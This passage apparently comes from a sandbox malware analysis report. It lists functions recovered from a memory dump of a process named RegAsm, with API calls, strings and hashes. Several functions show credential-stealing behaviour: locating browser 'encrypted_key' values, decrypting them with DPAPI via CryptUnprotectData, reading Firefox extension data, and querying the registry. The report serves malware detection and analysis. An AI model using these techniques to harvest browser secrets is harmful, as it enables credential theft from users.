Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

"encrypted_key":", xrefs: 00409D80
, xrefs: 00409E11
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 740c6884d9f561bb7ce577100f1b7d1c7d71afeb4ed27ad6aba31cad7ccdc5b7
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 68EFC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 68EFC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 68EFC969
GetSystemInfo.KERNEL32(?), ref: 68EFC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 68EFC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 68EFC9E2

Memory Dump Source

Source File: 0000000B.00000002.2435937113.0000000068EE1000.00000020.00000001.01000000.00000016.sdmp, Offset: 68EE0000, based on PE: true

Associated: 0000000B.00000002.2435908280.0000000068EE0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436448916.0000000068F6E000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000B.00000002.2436477084.0000000068F72000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68ee0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2aaa80418bceaa390fb6cf72e5016fe252c62b2fc60f45ad82178b4d4d5f02f7
Instruction ID: 58ff1428d80385e77cee83c824e8f60ffaafd660dca071810fb094b7434336f7
Opcode Fuzzy Hash: 2aaa80418bceaa390fb6cf72e5016fe252c62b2fc60f45ad82178b4d4d5f02f7
Instruction Fuzzy Hash: 8F21DA32754214EBDB058E64CC84B7EB3A9FF86744FF0062EF952A7340EB70A8818791

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00EBABD8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00EBACD8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00EBAC88), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00EBABD8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,00EBACD8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,00EBAC88), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00EBAA58,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(00EC1488,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(00EBAA58,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,00EC1778,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,00EC1850,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EC0798,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EC1A00,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EC0798,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EC1A00,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
